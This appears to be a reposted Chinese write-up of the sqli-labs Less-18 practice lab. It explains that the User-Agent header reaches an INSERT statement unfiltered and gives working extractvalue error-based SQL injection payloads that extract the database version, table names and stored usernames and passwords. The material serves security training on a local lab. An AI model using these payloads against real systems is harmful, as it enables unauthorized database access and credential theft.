extractvalue报错注入

查看源码

$uagent = $_SERVER['HTTP_USER_AGENT'];

…………

$uname = check_input($_POST['uname']);

$passwd = check_input($_POST['passwd']);

…………

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_uagentquery($insert);

由源码可以看出来,对$uname和$passwd都进行了过滤,所以这里不存在注入点,但是下面的 INSERT INTO 语句中插入了$uagent,$IP和$uname,也与数据库进行了交互,并且由源码可以看出来,$uagent并没有进行过滤,所以可以尝试对$uagent进行注入

使用bp抓包得到下面数据

POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/sqli-labs-master/Less-18/
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Cookie: 24b16fede9a67c9251d3e7c7161c83ac_ci_session=ils5p93b6rohhin07b46h1s2hmp08gvq
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

数据包中的User-Agent:后面的值就是源码中传入的$uagent,所以我们可以尝试修改$uagent的值,来找出注入点

User-Agent:'

报错

User-Agent:"(双引号)

 不报错

User-Agent:' #

 (测试后,使用#,--+,%23都不可以注释掉后面的 ' )

User-Agent:' ' (两个单引号)

既然不可以注释点后面的 ' ,那就在加一个点 ' 使其闭合

然后构造语句,使用extractvalue报错查询

' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '

为了便于理解,我们就是用下面的方式闭合

查版本

' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1 

查库

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

查表

' and extractvalue(1,concat(0x7e,(select  table_name from information_schema.tables where table_schema='security'),0x7e)) and '1'='1

返回结果不能超过一条

解决方法一:查所有表

' and extractvalue(1,concat(0x7e,(select group_concat( table_name) from information_schema.tables where table_schema='security'),0x7e)) and '1'='1

解决方法二:限制查某一个表(使用LIMIT )

' and extractvalue(1,concat(0x7e,(select  table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and '1'='1

 查询字段内容

' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ),0x7e)) and '1'='1 

extractvalue查询和updataxml类似,只可以回显32位

猜你喜欢

转载自www.cnblogs.com/Hunter-01001100/p/11371969.html